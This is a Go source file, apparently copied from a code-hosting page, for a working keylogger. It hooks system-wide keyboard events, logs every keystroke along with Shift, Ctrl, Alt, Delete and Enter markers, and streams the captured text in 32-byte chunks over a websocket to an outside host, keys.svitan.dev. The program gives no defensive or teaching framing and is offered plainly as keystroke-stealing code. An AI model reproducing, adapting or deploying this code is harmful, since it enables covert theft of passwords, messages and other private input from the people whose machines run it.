118 lines
2.1 KiB
Go
118 lines
2.1 KiB
Go
package main
|
|
|
|
import (
|
|
"net/url"
|
|
"os"
|
|
"time"
|
|
|
|
"github.com/gorilla/websocket"
|
|
hook "github.com/robotn/gohook"
|
|
)
|
|
|
|
const (
|
|
SHIFT_RAWCODE = 65505
|
|
CTRL_RAWCODE = 65507
|
|
ALT_RAWCODE = 65513
|
|
DEL_KEYCHAR = 8
|
|
ENTER_KEYCHAR = 13
|
|
REG_START = 32
|
|
REG_END = 255
|
|
)
|
|
|
|
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
|
|
|
|
func main() {
|
|
var conn *websocket.Conn
|
|
var err error
|
|
var tries = 0
|
|
for {
|
|
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
|
|
if err != nil {
|
|
tries += 1
|
|
if tries >= 3 {
|
|
return
|
|
}
|
|
time.Sleep(time.Second)
|
|
} else {
|
|
break
|
|
}
|
|
}
|
|
defer conn.Close()
|
|
|
|
go func() {
|
|
defer os.Exit(0)
|
|
for {
|
|
kind, _, err := conn.ReadMessage()
|
|
if err != nil {
|
|
return
|
|
}
|
|
if kind == websocket.CloseMessage {
|
|
return
|
|
}
|
|
}
|
|
}()
|
|
|
|
evChan := hook.Start()
|
|
defer hook.End()
|
|
buff := make([]byte, 64)
|
|
|
|
for ev := range evChan {
|
|
switch ev.Rawcode {
|
|
case SHIFT_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[shift]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[SHIFT]")...)
|
|
}
|
|
continue
|
|
|
|
case CTRL_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[ctrl]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[CTRL]")...)
|
|
}
|
|
continue
|
|
|
|
case ALT_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[alt]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[ALT]")...)
|
|
}
|
|
continue
|
|
|
|
case DEL_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[del]")...)
|
|
}
|
|
continue
|
|
}
|
|
|
|
switch ev.Keychar {
|
|
case DEL_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[del]")...)
|
|
}
|
|
continue
|
|
|
|
case ENTER_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("\n")...)
|
|
}
|
|
continue
|
|
}
|
|
|
|
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, byte(ev.Keychar))
|
|
}
|
|
}
|
|
|
|
if len(buff) >= 32 {
|
|
conn.WriteMessage(websocket.TextMessage, buff[:32])
|
|
buff = buff[32:]
|
|
}
|
|
}
|
|
}
|